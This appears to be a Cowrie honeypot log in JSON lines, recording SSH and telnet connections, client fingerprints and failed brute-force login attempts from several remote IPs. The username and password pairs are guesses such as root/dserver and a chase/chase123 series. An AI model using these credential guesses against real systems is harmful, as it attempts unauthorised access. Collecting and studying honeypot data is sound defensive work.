{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":53806,"dst_ip":"159.203.135.109","dst_port":23,"session":"b92e645072f1","protocol":"telnet","message":"New connection: 62.77.140.101:53806 (159.203.135.109:23) [session: b92e645072f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:10:36.533245Z"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.143.209","src_port":42892,"dst_ip":"10.17.0.5","dst_port":22,"session":"77514b184212","protocol":"ssh","message":"New connection: 171.244.143.209:42892 (10.17.0.5:22) [session: 77514b184212]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:10:38.860047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:10:38.874521Z","src_ip":"171.244.143.209","session":"77514b184212","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:10:39.111803Z","src_ip":"171.244.143.209","session":"77514b184212","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456ab@","message":"login attempt [root/123456ab@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:10:40.089757Z","src_ip":"171.244.143.209","session":"77514b184212","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:10:41.331529Z","src_ip":"171.244.143.209","session":"77514b184212","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57900,"dst_ip":"159.203.135.109","dst_port":22,"session":"a761515f50b6","protocol":"ssh","message":"New connection: 159.203.92.129:57900 (159.203.135.109:22) [session: a761515f50b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:10:42.472207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:10:42.477215Z","src_ip":"159.203.92.129","session":"a761515f50b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:10:42.485540Z","src_ip":"159.203.92.129","session":"a761515f50b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"12345QWERT","message":"login attempt [alias/12345QWERT] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:10:42.507150Z","src_ip":"159.203.92.129","session":"a761515f50b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:10:43.513578Z","src_ip":"159.203.92.129","session":"a761515f50b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.300529718399048,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:10:44.157866Z","src_ip":"138.197.5.236","session":"e108b4fe4977","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.893271684646606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:10:59.211066Z","src_ip":"62.77.140.101","session":"b579e315b785","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.254551887512207,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:11:07.787688Z","src_ip":"62.77.140.101","session":"b92e645072f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":49966,"dst_ip":"159.203.135.109","dst_port":23,"session":"c14959b931f3","protocol":"telnet","message":"New connection: 138.197.5.236:49966 (159.203.135.109:23) [session: c14959b931f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:11:09.819443Z"}
{"eventid":"cowrie.session.connect","src_ip":"119.195.89.96","src_port":1728,"dst_ip":"159.203.135.109","dst_port":22,"session":"91c14e2fa0ff","protocol":"ssh","message":"New connection: 119.195.89.96:1728 (159.203.135.109:22) [session: 91c14e2fa0ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:11:19.543638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:11:19.548603Z","src_ip":"119.195.89.96","session":"91c14e2fa0ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:11:19.740854Z","src_ip":"119.195.89.96","session":"91c14e2fa0ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dserver","message":"login attempt [root/dserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:11:20.543238Z","src_ip":"119.195.89.96","session":"91c14e2fa0ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:11:21.737724Z","src_ip":"119.195.89.96","session":"91c14e2fa0ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":53862,"dst_ip":"159.203.135.109","dst_port":23,"session":"66be91d07e05","protocol":"telnet","message":"New connection: 62.77.140.101:53862 (159.203.135.109:23) [session: 66be91d07e05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:11:24.674440Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40052,"dst_ip":"159.203.135.109","dst_port":22,"session":"9362d1cd610b","protocol":"ssh","message":"New connection: 159.203.92.129:40052 (159.203.135.109:22) [session: 9362d1cd610b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:11:25.306178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:11:25.316834Z","src_ip":"159.203.92.129","session":"9362d1cd610b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:11:25.321697Z","src_ip":"159.203.92.129","session":"9362d1cd610b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"1234qwer","message":"login attempt [alias/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:11:25.332284Z","src_ip":"159.203.92.129","session":"9362d1cd610b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:11:26.339845Z","src_ip":"159.203.92.129","session":"9362d1cd610b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.13.124.212","src_port":43914,"dst_ip":"159.203.135.109","dst_port":22,"session":"15bdd7867d1c","protocol":"ssh","message":"New connection: 124.13.124.212:43914 (159.203.135.109:22) [session: 15bdd7867d1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:11:30.754562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:11:30.759121Z","src_ip":"124.13.124.212","session":"15bdd7867d1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:11:31.005017Z","src_ip":"124.13.124.212","session":"15bdd7867d1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testssh","password":"password","message":"login attempt [testssh/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:11:32.028889Z","src_ip":"124.13.124.212","session":"15bdd7867d1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":50484,"dst_ip":"159.203.135.109","dst_port":23,"session":"95df1bd2ad07","protocol":"telnet","message":"New connection: 62.77.140.101:50484 (159.203.135.109:23) [session: 95df1bd2ad07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:11:32.396372Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:11:33.277708Z","src_ip":"124.13.124.212","session":"15bdd7867d1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":20653,"dst_ip":"159.203.135.109","dst_port":22,"session":"8291d9b0d1a0","protocol":"ssh","message":"New connection: 213.209.159.159:20653 (159.203.135.109:22) [session: 8291d9b0d1a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:11:36.230311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:11:36.234877Z","src_ip":"213.209.159.159","session":"8291d9b0d1a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:11:36.313446Z","src_ip":"213.209.159.159","session":"8291d9b0d1a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chase","password":"chase","message":"login attempt [chase/chase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:11:36.671529Z","src_ip":"213.209.159.159","session":"8291d9b0d1a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chase","password":"chase1","message":"login attempt [chase/chase1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:11:37.755843Z","src_ip":"213.209.159.159","session":"8291d9b0d1a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chase","password":"chase123","message":"login attempt [chase/chase123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:11:38.841235Z","src_ip":"213.209.159.159","session":"8291d9b0d1a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chase","password":"chase1234","message":"login attempt [chase/chase1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:11:39.926565Z","src_ip":"213.209.159.159","session":"8291d9b0d1a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.49097728729248,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:11:40.310272Z","src_ip":"138.197.5.236","session":"c14959b931f3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"chase","password":"chase12345","message":"login attempt [chase/chase12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:11:41.021686Z","src_ip":"213.209.159.159","session":"8291d9b0d1a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:11:42.106503Z","src_ip":"213.209.159.159","session":"8291d9b0d1a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":55848,"dst_ip":"159.203.135.109","dst_port":23,"session":"c638ae4d64b7","protocol":"telnet","message":"New connection: 62.77.140.101:55848 (159.203.135.109:23) [session: c638ae4d64b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:11:43.315020Z"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.143.209","src_port":41232,"dst_ip":"10.17.0.5","dst_port":22,"session":"1753ecfeb92b","protocol":"ssh","message":"New connection: 171.244.143.209:41232 (10.17.0.5:22) [session: 1753ecfeb92b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:11:47.639320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:11:47.643749Z","src_ip":"171.244.143.209","session":"1753ecfeb92b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:11:47.899344Z","src_ip":"171.244.143.209","session":"1753ecfeb92b","protocol":"ssh"}
